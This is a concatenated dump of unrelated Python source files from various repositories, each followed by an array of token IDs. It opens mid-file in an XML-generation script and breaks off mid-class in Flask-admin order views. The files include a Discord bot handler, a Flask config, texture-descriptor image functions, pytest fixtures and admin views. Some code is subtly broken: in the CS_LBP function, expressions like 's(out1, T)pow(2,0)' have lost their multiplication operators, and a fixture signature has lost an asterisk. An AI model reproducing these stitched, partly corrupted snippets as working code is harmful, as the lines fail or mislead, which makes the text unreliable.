'This child contains text.' child_with_tail = SubElement(top, 'child_with_tail') child_with_tail.text = 'This child has regular text.' child_with_tail.tail = 'And "tail" text.' child_with_entity_ref = SubElement(top, 'child_with_entity_ref') child_with_entity_ref.text = 'This & that' """ def main(): # Initiate argument parser parser = argparse.ArgumentParser(description="Generate xml files.", formatter_class=argparse.RawTextHelpFormatter) parser.add_argument( '-a', '--annotations_path', help='Path to .xls with annotation information.', type=str, default=None ) parser.add_argument( '-i', '--image_dir', help='Path to the folder where the image dataset is stored.', type=str, default=None ) parser.add_argument( '-o', '--output_dir', help='Path to the output folder where xml are saved.', type=str, default=None ) parser.add_argument( '-n', '--number_of_classes', help='The nummber of classes to take image of. If given number is lesser than 73 (default), the classes with most objects will be selected.', default=73, type=int) parser.add_argument( '-l', '--labelmap_path', help='The path to save the label map. If not provided, will be saved in image_dir.', default=None, type=str) parser.add_argument( '-r', '--reduce_factor', help='Factor to reduce image size.', default=1, type=int) args = parser.parse_args() if args.annotations_path is None: print("ERROR. No .xls with annotations provided.") quit() if args.image_dir is None: print("ERROR. No image folder provided.") quit() if args.output_dir is None: print("ERROR. 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Extensions/Event-Handler.py	Drageast/Die_Botin	0	168762	# Import from discord.ext import commands import discord import asyncio # Utils import Utils # Cog Initialising class EventHandler(commands.Cog): def __init__(self, client): self.client = client @commands.Cog.listener() async def on_member_remove(self, user: discord.Member): try: await Utils.DBPreconditioning.DEL_Uccount(self, user) except: pass @commands.Cog.listener() async def on_voice_state_update(self, member, before, after): if after.channel is None: return elif after.channel.id == Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "SpecifiedChannels", "SupportChannelVOICE") and not member.bot: channel = await self.client.fetch_channel(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "SpecifiedChannels", "AdminChat")) role1 = discord.utils.get(member.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "ServerTeam", "Owner"))) role2 = discord.utils.get(member.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "ServerTeam", "Administrator"))) role3 = discord.utils.get(member.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "ServerTeam", "Developer"))) embed = discord.Embed( title="Support Anfrage:", colour=discord.Colour(Utils.Farbe.Orange), description=f"{role1.mention}/{role2.mention}/{role3.mention}\nDer User: `{member.name}` wartet in dem Sprachkanal: `{after.channel.name}`." ) embed.set_thumbnail(url=member.avatar_url) m = await channel.send(embed=embed) await asyncio.sleep(120) await m.delete() else: pass @commands.Cog.listener() async def on_member_join(self, user: discord.Member): embed = discord.Embed( title=f"Hallo {user.name}!", colour=discord.Colour(Utils.Farbe.Welcome_Blue), description=f"Hallo {user.mention} willkommen auf dem Discord Server:\n{user.guild.name} !\nUm Spieler zu suchen, gehe in den Korrespondierenden Kanal,\n" f"die Angepinnte Nachricht oben im Chat erklärt, wie es funktioniert.\nViel Spaß!" ) embed.set_thumbnail(url=self.client.user.avatar_url) embed.set_image(url=user.avatar_url) channel = discord.utils.get(user.guild.text_channels, name=str( Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "SpecifiedChannels", "Welcome").lower())) m = await channel.send(embed=embed) role = discord.utils.get(user.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "Standart"))) await user.add_roles(role) await asyncio.sleep(300) try: await m.delete() except: pass @commands.Cog.listener() async def on_guild_join(self, guild: discord.Guild): embed = discord.Embed( title="Hallo!", colour=discord.Colour(Utils.Farbe.Welcomer_Blue), description=f"Hallo {guild.default_role.mention}! Ich bin {self.client.user.name}.\nIch bin der Discord Bot von [DrageastLP](https://github.com/Drageast).\n" f"Ich wurde extra für diesen Server geschrieben und freue ich schon, euch zu assistieren." ) embed.set_image(url=self.client.user.avatar_url) await guild.text_channels[0].send(embed=embed) # Cog Finishing def setup(client): client.add_cog(EventHandler(client))	[ 1, 396, 16032, 13, 3166, 2313, 536, 29889, 1062, 1053, 8260, 13, 5215, 2313, 536, 13, 5215, 408, 948, 3934, 13, 13, 29937, 22310, 29879, 13, 5215, 22310, 29879, 13, 13, 13, 29937, 315, 468, 17250, 5921, 13, 13, 13, 1990, 6864, 4598, 29898, 26381, 29889, 29907, 468, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3132, 1125, 13, 4706, 1583, 29889, 4645, 353, 3132, 13, 13, 1678, 732, 26381, 29889, 29907, 468, 29889, 25894, 580, 13, 1678, 7465, 822, 373, 29918, 14242, 29918, 5992, 29898, 1311, 29892, 1404, 29901, 2313, 536, 29889, 13404, 1125, 13, 4706, 1018, 29901, 13, 9651, 7272, 22310, 29879, 29889, 4051, 6572, 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config.py	R4MS0T/PYREZ	9	150645	<filename>config.py #!/usr/bin/env python # -- coding: utf-8 -- import os from app.utils import ( get_env, to_bool, ) from app.utils.num import ( random_func, ) app_dir = os.path.abspath(os.path.dirname(__file__)) class Config(object): SQLALCHEMY_DATABASE_URI = get_env('DATABASE_URL', default=f'sqlite:///{"app" or __name__}.db')#'sqlite:///:memory:' SQLALCHEMY_TRACK_MODIFICATIONS = False #SQLALCHEMY_COMMIT_ON_TEARDOWN = True _binds = get_env('SQLALCHEMY_BINDS', default=None) if _binds: #https://docs.sqlalchemy.org/en/13/core/exceptions.html #https://flask-sqlalchemy.palletsprojects.com/en/2.x/binds/ #https://flask-migrate.readthedocs.io/en/latest/ SQLALCHEMY_BINDS = {} for _ in _binds.split(','): __ = _.split(':', 1) SQLALCHEMY_BINDS.update({__[0].lower() : __[1] if __[1].rfind('://') != -1 else get_env(__[1])}) print(SQLALCHEMY_BINDS) # SECURITY WARNING: don't run with debug turned on in production! #Default: True if ENV is 'development', or False otherwise. DEBUG = to_bool(get_env('DEBUG', default=os.sys.platform == 'win32' or os.name == 'nt')) # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = get_env('SECRET_KEY', default=random_func(as_string=True, size=65)) DEVELOPMENT = TESTING = False @property def DATABASE_URI(self): return SQLALCHEMY_DATABASE_URI class DevelopementConfig(Config): DEVELOPMENT = True ENV = 'development'#dev class TestingConfig(Config):#StagingConfig TESTING = DEVELOPMENT = DEBUG = True class ProductionConfig(Config): TESTING = DEVELOPMENT = DEBUG = False ENV = 'production'	[ 1, 529, 9507, 29958, 2917, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13, 5215, 2897, 13, 13, 3166, 623, 29889, 13239, 1053, 313, 13, 29871, 679, 29918, 6272, 29892, 13, 29871, 304, 29918, 11227, 29892, 13, 29897, 13, 3166, 623, 29889, 13239, 29889, 1949, 1053, 313, 13, 29871, 4036, 29918, 9891, 29892, 13, 29897, 13, 13, 932, 29918, 3972, 353, 2897, 29889, 2084, 29889, 370, 1028, 493, 29898, 359, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 876, 13, 13, 1990, 12782, 29898, 3318, 1125, 13, 29871, 3758, 1964, 3210, 12665, 29979, 29918, 25832, 27982, 29918, 15551, 353, 679, 29918, 6272, 877, 25832, 27982, 29918, 4219, 742, 2322, 29922, 29888, 29915, 22793, 597, 29914, 6377, 932, 29908, 470, 4770, 978, 1649, 1836, 2585, 1495, 29937, 29915, 22793, 597, 24676, 14834, 11283, 13, 29871, 3758, 1964, 3210, 12665, 29979, 29918, 5659, 11375, 29918, 6720, 4571, 29943, 28541, 29903, 353, 7700, 13, 29871, 396, 4176, 1964, 3210, 12665, 29979, 29918, 3217, 7428, 1806, 29918, 1164, 29918, 4330, 1718, 3970, 16048, 353, 5852, 13, 13, 29871, 903, 5355, 29879, 353, 679, 29918, 6272, 877, 4176, 1964, 3210, 12665, 29979, 29918, 29933, 1177, 8452, 742, 2322, 29922, 8516, 29897, 13, 29871, 565, 903, 5355, 29879, 29901, 13, 1678, 396, 991, 597, 2640, 29889, 2850, 284, 305, 6764, 29889, 990, 29914, 264, 29914, 29896, 29941, 29914, 3221, 29914, 11739, 29879, 29889, 1420, 13, 1678, 396, 991, 597, 1579, 1278, 29899, 2850, 284, 305, 6764, 29889, 7830, 10376, 16418, 29889, 510, 29914, 264, 29914, 29906, 29889, 29916, 29914, 5355, 29879, 29914, 13, 1678, 396, 991, 597, 1579, 1278, 29899, 26983, 403, 29889, 949, 386, 287, 12332, 29889, 601, 29914, 264, 29914, 12333, 29914, 13, 1678, 3758, 1964, 3210, 12665, 29979, 29918, 29933, 1177, 8452, 353, 6571, 13, 1678, 363, 903, 297, 903, 5355, 29879, 29889, 5451, 29898, 3788, 1125, 13, 418, 4770, 353, 903, 29889, 5451, 877, 29901, 742, 29871, 29896, 29897, 13, 418, 3758, 1964, 3210, 12665, 29979, 29918, 29933, 1177, 8452, 29889, 5504, 3319, 1649, 29961, 29900, 1822, 13609, 580, 584, 4770, 29961, 29896, 29962, 565, 4770, 29961, 29896, 1822, 29878, 2886, 877, 597, 1495, 2804, 448, 29896, 1683, 679, 29918, 6272, 22168, 29961, 29896, 2314, 1800, 13, 1678, 1596, 29898, 4176, 1964, 3210, 12665, 29979, 29918, 29933, 1177, 8452, 29897, 13, 29871, 396, 3725, 22484, 11937, 399, 25614, 29901, 1016, 29915, 29873, 1065, 411, 4744, 6077, 373, 297, 5802, 29991, 13, 29871, 396, 4592, 29901, 5852, 565, 12524, 29963, 338, 525, 25431, 742, 470, 7700, 6467, 29889, 13, 29871, 21681, 353, 304, 29918, 11227, 29898, 657, 29918, 6272, 877, 18525, 742, 2322, 29922, 359, 29889, 9675, 29889, 12120, 1275, 525, 5080, 29941, 29906, 29915, 470, 2897, 29889, 978, 1275, 525, 593, 8785, 13, 13, 29871, 396, 3725, 22484, 11937, 399, 25614, 29901, 3013, 278, 7035, 1820, 1304, 297, 5802, 7035, 29991, 13, 29871, 3725, 22245, 29911, 29918, 10818, 353, 679, 29918, 6272, 877, 1660, 22245, 29911, 29918, 10818, 742, 2322, 29922, 8172, 29918, 9891, 29898, 294, 29918, 1807, 29922, 5574, 29892, 2159, 29922, 29953, 29945, 876, 13, 13, 29871, 5012, 12064, 3927, 13427, 3919, 353, 17067, 1254, 4214, 353, 7700, 13, 13, 29871, 732, 6799, 13, 29871, 822, 27640, 27982, 29918, 15551, 29898, 1311, 1125, 13, 1678, 736, 3758, 1964, 3210, 12665, 29979, 29918, 25832, 27982, 29918, 15551, 13, 1990, 10682, 882, 3991, 29898, 3991, 1125, 13, 29871, 5012, 12064, 3927, 13427, 3919, 353, 5852, 13, 29871, 12524, 29963, 353, 525, 25431, 29915, 29937, 3359, 13, 13, 1990, 4321, 292, 3991, 29898, 3991, 1125, 29937, 855, 6751, 3991, 13, 29871, 17067, 1254, 4214, 353, 5012, 12064, 3927, 13427, 3919, 353, 21681, 353, 5852, 13, 13, 1990, 19561, 3991, 29898, 3991, 1125, 13, 29871, 17067, 1254, 4214, 353, 5012, 12064, 3927, 13427, 3919, 353, 21681, 353, 7700, 13, 29871, 12524, 29963, 353, 525, 24601, 29915, 13, 2 ]
artigoRITA/techniques.py	Hadamanthis/Mestrado	1	88286	<gh_stars>1-10 import cv2 import numpy as np from convolution import conv2D def s(x, T): if (x > T): return 1 else: return 0 ''' Uma função que aplica LBP 3x3 ''' def LBP(img): # Kernel de pesos padrão 3x3 kernel = np.array([[1, 2, 4], [8, 0, 16], [32, 64, 128]]) outputs = [] # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): subimg = [] for g in list(range(-1, 2)): # Copiando a linha row = [] for k in list(range(-1, 2)): if ((g == 0) and (k == 0)): row.append(0) continue thresh = int(img[i+g][j+k]) - int(img[i][j]) if (thresh >= 0): row.append(1) else: row.append(0) # Adicionando a linha subimg.append(np.array(row)) subimg = np.array(subimg) outputs.append(conv2D(subimg, kernel)) #print(subimg) #print(outputs) return np.array(outputs) ''' Uma função que aplica o CS-LBP com threshold T ''' def CS_LBP(img, T = None): outputs = [] if (T == None): T = 2.56 # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): out1 = img[i][j+1] - img[i][j-1] out2 = img[i+1][j+1] - img[i-1][j-1] out3 = img[i+1][j] - img[i-1][j] out4 = img[i+1][j-1] - img[i-1][j+1] output = s(out1, T)pow(2,0) + s(out2, T)pow(2, 1) + s(out3, T)pow(2, 2) + s(out4, T)pow(2,3) outputs.append(output) return np.array(outputs) def LQP(img, T1, T2): # Kernel de pesos padrão 3x3 kernel = np.array([[1, 2, 4], [8, 0, 16], [32, 64, 128]]) outputs1 = [] outputs2 = [] outputs3 = [] outputs4 = [] # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): subimg1 = [] subimg2 = [] subimg3 = [] subimg4 = [] for g in list(range(-1, 2)): # Copiando a linha row1, row2, row3, row4 = [], [], [], [] # Linhas respectivas de cada uma das subimagens for k in list(range(-1, 2)): # Se for o centro, coloca 0 e passa if ((g == 0) and (k == 0)): row1.append(0) row2.append(0) row3.append(0) row4.append(0) continue diff = img[i+g][j+k] - img[i][j] if (diff >= T2): row1.append(1) row2.append(0) row3.append(0) row4.append(0) elif (diff < T2 and diff >= T1): row1.append(0) row2.append(1) row3.append(0) row4.append(0) elif (diff < T1 and diff >= -1*T1): row1.append(0) row2.append(0) row3.append(1) row4.append(0) else: row1.append(0) row2.append(0) row3.append(0) row4.append(1) # Adicionando a linha subimg1.append(np.array(row1)) subimg2.append(np.array(row2)) subimg3.append(np.array(row3)) subimg4.append(np.array(row4)) subimg1 = np.array(subimg1) subimg2 = np.array(subimg2) subimg3 = np.array(subimg3) subimg4 = np.array(subimg4) outputs1.append(conv2D(subimg1, kernel)) outputs2.append(conv2D(subimg2, kernel)) outputs3.append(conv2D(subimg3, kernel)) outputs4.append(conv2D(subimg4, kernel)) return np.array(outputs1), np.array(outputs2), np.array(outputs3), np.array(outputs4) def CLBP(img): # Kernel de pesos padrão 3x3 kernel = np.array([[1, 2, 4], [8, 0, 16], [32, 64, 128]]) outputs1 = [] outputs2 = [] # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): mavg = 0 # Calculando a média das magnitudes da diferença entre o pixel central e os vizinhos for g in list(range(-1, 2)): for k in list(range(-1, 2)): if ((g == 0) and (k == 0)): continue mavg += abs(img[i][j] - img[i+g][j+k]) mavg /= 8 north = img[i-1][j] - img[i][j] northeast = img[i-1][j+1] - img[i][j] east = img[i][j+1] - img[i][j] southeast = img[i+1][j+1] - img[i][j] south = img[i+1][j] - img[i][j] southwest = img[i+1][j-1] - img[i][j] west = img[i][j-1] - img[i][j] northwest = img[i-1][j-1] - img[i][j] sum1 = 0 sum2 = 0 if (north >= 0): sum1 += 1 if (abs(north) > mavg): sum1 += 2 if (east >= 0): sum1 += 4 if (abs(east) > mavg): sum1 += 8 if (south >= 0): sum1 += 16 if (abs(south) > mavg): sum1 += 32 if (west >= 0): sum1 += 64 if (abs(west) > mavg): sum1 += 128 if (northeast >= 0): sum2 += 1 if (abs(northeast) > mavg): sum2 += 2 if (southeast >= 0): sum2 += 4 if (abs(southeast) > mavg): sum2 += 8 if (southwest >= 0): sum2 += 16 if (abs(southwest) > mavg): sum2 += 32 if (northwest >= 0): sum2 += 64 if (abs(northwest) > mavg): sum2 += 128 outputs1.append(sum1) outputs2.append(sum2) return np.array(outputs1), np.array(outputs2) if __name__ == '__main__': img = np.array([[5, 4, 3, 2, 3], [6, 7, 8, 2, 1], [3, 5, 10, 8, 2], [6, 6, 8, 9, 3], [7, 2, 4, 7, 11]]) print(img) outputs1, outputs2 = CLBP(img) print(outputs1) print(outputs2)	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 13850, 29906, 13, 5215, 12655, 408, 7442, 13, 3166, 26851, 1053, 7602, 29906, 29928, 13, 13, 1753, 269, 29898, 29916, 29892, 323, 1125, 13, 12, 361, 313, 29916, 1405, 323, 1125, 13, 12, 12, 2457, 29871, 29896, 13, 12, 2870, 29901, 13, 12, 12, 2457, 29871, 29900, 13, 13, 12008, 501, 655, 2090, 2340, 712, 3095, 10123, 365, 29933, 29925, 29871, 29941, 29916, 29941, 14550, 13, 1753, 365, 29933, 29925, 29898, 2492, 1125, 13, 12, 29937, 476, 5851, 316, 8928, 359, 282, 7887, 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tests/fixtures.py	junteudjio/runtimedocs	2	69273	import pytest from .context import mock, builtin_str @pytest.fixture(scope='function') def func(): def dummy(agrs, *kwargs): pass f = mock.create_autospec(spec=dummy, name='fixture_function_to_decorate') return f @pytest.fixture(scope='function', autouse=True) @mock.patch('{builtin}.open'.format(builtin=builtin_str)) def mocked_open(mock_open): # mock_file = mock.Mock() # mock_file.write.return_value = None # mock_file.read.return_value = None # mock_open.return_value = mock_file return mock_open	[ 1, 1053, 11451, 1688, 13, 13, 3166, 869, 4703, 1053, 11187, 29892, 4240, 262, 29918, 710, 13, 13, 29992, 2272, 1688, 29889, 7241, 15546, 29898, 6078, 2433, 2220, 1495, 13, 1753, 3653, 7295, 13, 1678, 822, 20254, 10456, 351, 2288, 29892, 3579, 19290, 1125, 13, 4706, 1209, 13, 1678, 285, 353, 11187, 29889, 3258, 29918, 1300, 359, 3135, 29898, 6550, 29922, 29881, 11770, 29892, 1024, 2433, 7241, 15546, 29918, 2220, 29918, 517, 29918, 19557, 403, 1495, 13, 1678, 736, 285, 13, 13, 29992, 2272, 1688, 29889, 7241, 15546, 29898, 6078, 2433, 2220, 742, 1120, 1709, 29922, 5574, 29897, 13, 29992, 17640, 29889, 5041, 877, 29912, 16145, 262, 1836, 3150, 4286, 4830, 29898, 16145, 262, 29922, 16145, 262, 29918, 710, 876, 13, 1753, 11187, 287, 29918, 3150, 29898, 17640, 29918, 3150, 1125, 13, 1678, 396, 11187, 29918, 1445, 353, 11187, 29889, 18680, 580, 13, 1678, 396, 11187, 29918, 1445, 29889, 3539, 29889, 2457, 29918, 1767, 353, 6213, 13, 1678, 396, 11187, 29918, 1445, 29889, 949, 29889, 2457, 29918, 1767, 353, 6213, 13, 1678, 396, 11187, 29918, 3150, 29889, 2457, 29918, 1767, 353, 11187, 29918, 1445, 13, 1678, 736, 11187, 29918, 3150, 13, 2 ]
src/test/data/pa3/AdditionalTestCase/UnitTest/strcat_arg0_is_emptyString.py	Leo-Enrique-Wu/chocopy_compiler_code_generation	0	109926	print("" + "1234") print("Hello" + "World")	[ 1, 1596, 703, 29908, 718, 376, 29896, 29906, 29941, 29946, 1159, 13, 2158, 703, 10994, 29908, 718, 376, 14058, 1159, 2 ]
comments/admin.py	KingAnduin/fitness	0	140956	<filename>comments/admin.py from django.contrib import admin from comments.models import CommentsInfo class CommentAdmin(admin.ModelAdmin): list_display = ('comment_content', 'comment_create_time', 'order') admin.site.register(CommentsInfo, CommentAdmin)	[ 1, 529, 9507, 29958, 21032, 29914, 6406, 29889, 2272, 13, 3166, 9557, 29889, 21570, 1053, 4113, 13, 3166, 6589, 29889, 9794, 1053, 461, 29879, 3401, 13, 13, 13, 1990, 461, 12754, 29898, 6406, 29889, 3195, 12754, 1125, 13, 1678, 1051, 29918, 4990, 353, 6702, 9342, 29918, 3051, 742, 525, 9342, 29918, 3258, 29918, 2230, 742, 525, 2098, 1495, 13, 13, 13, 6406, 29889, 2746, 29889, 9573, 29898, 1523, 1860, 3401, 29892, 461, 12754, 29897, 13, 2 ]
experiment_utils/utils/jupyter_utils.py	ayasyrev/experiment_utils	0	135581	from pathlib import Path, PosixPath from typing import List, Union from hydra import compose, initialize_config_dir from omegaconf import DictConfig from experiment_utils import __path__ as experiment_utils_path experiment_utils_path = experiment_utils_path[0] def initialize_config(overrides: List[str] = [], config_dir_name: str = "conf", config_path: Union[str, PosixPath] = None, config_name: str = "config") -> DictConfig: """Initialise Hydra config when work in jupyter notebook. Args: overrides (List[str], optional): List of overrides. Defaults to []. config_dir_name (str, optional): Name of directory with config structure. Defaults to "conf". config_path (Union[str, PosixPath], optional): Path to look for config dir. Defaults to None, take it from experiment_utils lib. config_name (str, optional): Name for config file. Defaults to "config". Returns: DictConfig: Initialized DictConfig. """ if config_path is None: config_path = Path(experiment_utils_path) with initialize_config_dir(config_dir=str(config_path / config_dir_name)): cfg = compose(config_name=config_name, overrides=overrides) return cfg	[ 1, 515, 2224, 1982, 1053, 10802, 29892, 10321, 861, 2605, 13, 3166, 19229, 1053, 2391, 29892, 7761, 13, 13, 3166, 27246, 336, 1053, 27435, 29892, 11905, 29918, 2917, 29918, 3972, 13, 3166, 2703, 2442, 5527, 1053, 360, 919, 3991, 13, 13, 3166, 7639, 29918, 13239, 1053, 4770, 2084, 1649, 408, 7639, 29918, 13239, 29918, 2084, 13, 13, 13, 735, 15362, 29918, 13239, 29918, 2084, 353, 7639, 29918, 13239, 29918, 2084, 29961, 29900, 29962, 13, 13, 13, 1753, 11905, 29918, 2917, 29898, 957, 24040, 29901, 2391, 29961, 710, 29962, 353, 19997, 13, 462, 418, 2295, 29918, 3972, 29918, 978, 29901, 851, 353, 376, 5527, 613, 13, 462, 418, 2295, 29918, 2084, 29901, 7761, 29961, 710, 29892, 10321, 861, 2605, 29962, 353, 6213, 29892, 13, 462, 418, 2295, 29918, 978, 29901, 851, 353, 376, 2917, 1159, 1599, 360, 919, 3991, 29901, 13, 1678, 9995, 15514, 895, 379, 2941, 336, 2295, 746, 664, 297, 432, 786, 25547, 451, 19273, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 975, 24040, 313, 1293, 29961, 710, 1402, 13136, 1125, 2391, 310, 975, 24040, 29889, 13109, 29879, 304, 518, 1822, 13, 4706, 2295, 29918, 3972, 29918, 978, 313, 710, 29892, 13136, 1125, 4408, 310, 3884, 411, 2295, 3829, 29889, 13, 9651, 13109, 29879, 304, 376, 5527, 1642, 13, 4706, 2295, 29918, 2084, 313, 19986, 29961, 710, 29892, 10321, 861, 2605, 1402, 13136, 1125, 10802, 304, 1106, 363, 2295, 4516, 29889, 13, 9651, 13109, 29879, 304, 6213, 29892, 2125, 372, 515, 7639, 29918, 13239, 4303, 29889, 13, 4706, 2295, 29918, 978, 313, 710, 29892, 13136, 1125, 4408, 363, 2295, 934, 29889, 13109, 29879, 304, 376, 2917, 1642, 13, 13, 1678, 16969, 29901, 13, 4706, 360, 919, 3991, 29901, 17250, 1891, 360, 919, 3991, 29889, 13, 1678, 9995, 13, 1678, 565, 2295, 29918, 2084, 338, 6213, 29901, 13, 4706, 2295, 29918, 2084, 353, 10802, 29898, 735, 15362, 29918, 13239, 29918, 2084, 29897, 13, 1678, 411, 11905, 29918, 2917, 29918, 3972, 29898, 2917, 29918, 3972, 29922, 710, 29898, 2917, 29918, 2084, 847, 2295, 29918, 3972, 29918, 978, 22164, 13, 4706, 274, 16434, 353, 27435, 29898, 2917, 29918, 978, 29922, 2917, 29918, 978, 29892, 13, 462, 418, 975, 24040, 29922, 957, 24040, 29897, 13, 1678, 736, 274, 16434, 13, 2 ]
racoon/view/error/custom.py	onukura/Racoon	3	31274	# -- coding: utf-8 -- from flask import Blueprint, render_template bp_error = Blueprint("bp_error", __name__, url_prefix="/error") # Specific Error Handlers @bp_error.route("/default") def default(): return render_template( "error/error_base.html", error_code=500, header_name="Error", error_message="We will work on fixing that right away.", ) @bp_error.route("/unauthorized") def unauthorized(): return render_template( "error/error_base.html", error_code=500, header_name="Unauthorized", error_message="Not allowed to access this contents.", )	[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 30004, 13, 3166, 29784, 1053, 10924, 2158, 29892, 4050, 29918, 6886, 30004, 13, 30004, 13, 30004, 13, 25288, 29918, 2704, 353, 10924, 2158, 703, 25288, 29918, 2704, 613, 4770, 978, 1649, 29892, 3142, 29918, 13506, 13802, 2704, 1159, 30004, 13, 30004, 13, 30004, 13, 29937, 21220, 4829, 5166, 9306, 30004, 13, 29992, 25288, 29918, 2704, 29889, 13134, 11974, 4381, 1159, 30004, 13, 1753, 2322, 7295, 30004, 13, 1678, 736, 4050, 29918, 6886, 29898, 30004, 13, 4706, 376, 2704, 29914, 2704, 29918, 3188, 29889, 1420, 15231, 13, 4706, 1059, 29918, 401, 29922, 29945, 29900, 29900, 11167, 13, 4706, 4839, 29918, 978, 543, 2392, 15231, 13, 4706, 1059, 29918, 4906, 543, 4806, 674, 664, 373, 27826, 393, 1492, 3448, 29889, 15231, 13, 1678, 1723, 30004, 13, 30004, 13, 30004, 13, 29992, 25288, 29918, 2704, 29889, 13134, 11974, 348, 8921, 1891, 1159, 30004, 13, 1753, 1185, 329, 2015, 1891, 7295, 30004, 13, 1678, 736, 4050, 29918, 6886, 29898, 30004, 13, 4706, 376, 2704, 29914, 2704, 29918, 3188, 29889, 1420, 15231, 13, 4706, 1059, 29918, 401, 29922, 29945, 29900, 29900, 11167, 13, 4706, 4839, 29918, 978, 543, 29965, 1056, 329, 2015, 1891, 15231, 13, 4706, 1059, 29918, 4906, 543, 3664, 6068, 304, 2130, 445, 8118, 29889, 15231, 13, 1678, 1723, 30004, 13, 2 ]
app/admin/views.py	jiejiang/inventory	1	178508	<gh_stars>1-10 # -- coding: utf-8 -- __author__ = 'jie' import os, zipfile import pandas as pd from markupsafe import Markup from flask import redirect, url_for, flash, current_app from flask_admin.contrib import sqla from flask_admin.menu import MenuLink from flask_admin.model.form import InlineFormAdmin from sqlalchemy import func, desc, or_ from flask_user import current_user from flask_admin.actions import action from wtforms.validators import ValidationError from .. import db from . import admin from ..models import Order, Job, ProductInfo, ProductCountInfo, Retraction, Route from ..util import time_format class LoginRequiredModelView(sqla.ModelView): def is_accessible(self): return current_user.is_authenticated def inaccessible_callback(self, name, *kwargs): return redirect(url_for("user.login")) class JobAdmin(LoginRequiredModelView): can_delete = False can_edit = False can_create = False def _show_status(view, context, model, name): return model.status_string def _show_item_count(view, context, model, name): #return model.orders.count() #cannot use this because the case of order number re-use job_file = os.path.join(current_app.config['DOWNLOAD_FOLDER'], model.uuid, model.uuid + '.zip') if not os.path.exists(job_file): return "%d (orders)" % model.orders.count() try: with zipfile.ZipFile(job_file) as z: customs_df = pd.read_excel(z.open(u"江门申报单.xlsx"), converters={ u"企业运单编号": lambda x: str(x), u"收件人省市区代码": lambda x: str(x), u"收件人电话": lambda x: str(x), u"收件人证件号码": lambda x: str(x), u"发货人省市区代码": lambda x: str(x), u"发货人电话": lambda x: str(x), u"商品备案号": lambda x: str(x), u"发货人电话": lambda x: str(x), u'计量单位': lambda x: str(x), }) return len(customs_df.index) except Exception, inst: return "%d (orders)" % model.orders.count() column_formatters = { 'status': _show_status, 'creation_time': lambda v, c, m, p: time_format(m.creation_time), 'completion_time': lambda v, c, m, p: time_format(m.completion_time), 'item_count': _show_item_count, } class SuccessJobAdmin(JobAdmin): list_template = "admin/job/list.html" column_searchable_list = ('uuid', 'creation_time', 'issuer') column_exclude_list = ('percentage', 'message') column_default_sort = ('completion_time', True) column_list = ('uuid', 'status', 'completion_time', 'item_count', 'version', 'issuer') def get_query(self): return self.session.query(self.model).filter(self.model.status == Job.Status.COMPLETED) def get_count_query(self): return self.session.query(func.count('')).filter(self.model.status == Job.Status.COMPLETED) class FailedJobAdmin(JobAdmin): column_default_sort = ('creation_time', True) column_list = ('uuid', 'status', 'creation_time', 'percentage', 'message', 'issuer') def get_query(self): return self.session.query(self.model).filter(or_(self.model.status == Job.Status.FAILED, self.model.status == Job.Status.DELETED)) def get_count_query(self): return self.session.query(func.count('')).filter(or_(self.model.status == Job.Status.FAILED, self.model.status == Job.Status.DELETED)) class OrderAdmin(LoginRequiredModelView): def _show_type(view, context, model, name): return model.type_name column_formatters = { 'type': _show_type, 'upload_time': lambda v, c, m, p: time_format(m.upload_time), 'used_time': lambda v, c, m, p: time_format(m.used_time), } column_searchable_list = ('order_number', 'receiver_id_number', 'receiver_name') column_exclude_list = ('job',) form_excluded_columns = ('job',) column_details_exclude_list = ('job',) class UsedOrderAdmin(OrderAdmin): list_template = "admin/order/list.html" can_create = False can_delete = False can_edit = False can_view_details = True column_default_sort = ('used_time', True) def get_query(self): return self.session.query(self.model).filter(self.model.used == True) def get_count_query(self): return self.session.query(func.count('')).filter(self.model.used == True) @action('reuse', u"弃用单号", u"您确定需要弃用这些单号？") def action_approve(self, ids): try: order_numbers = [] query = Order.query.filter(Order.id.in_(ids)).order_by(desc(Order.used_time)) for order in query.all(): order_numbers.append(order.order_number) if order.retraction_id: raise Exception, u"无法弃用已提取单号: %s" % order.order_number order.discard() db.session.commit() flash(u"如下单号已经弃用：[%s]" % ", ".join(order_numbers)) except Exception, inst: flash(u"无法弃用单号：[%s]。错误如下：\n%s" % (", ".join(order_numbers), str(inst)), "error") class UnusedOrderAdmin(OrderAdmin): can_create = False can_edit = False column_default_sort = ('order_number', False) def get_query(self): return self.session.query(self.model).filter(self.model.used==False, self.model.type == Order.Type.XIAN) def get_count_query(self): return self.session.query(func.count('')).filter(self.model.used == False, self.model.type == Order.Type.XIAN) class UnretractedOrderAdmin(OrderAdmin): can_create = False can_edit = False can_delete = False can_view_details = True column_default_sort = ('used_time', True) def get_query(self): return self.session.query(self.model).filter(self.model.used==True, self.model.retraction_id == None) def get_count_query(self): return self.session.query(func.count('')).filter(self.model.used==True, self.model.retraction_id == None) class RetractedOrderAdmin(OrderAdmin): can_create = False can_edit = False can_delete = False can_view_details = True column_default_sort = ('used_time', True) def get_query(self): return self.session.query(self.model).filter(self.model.used==True, self.model.retraction_id <> None) def get_count_query(self): return self.session.query(func.count('*')).filter(self.model.used==True, self.model.retraction_id <> None) class 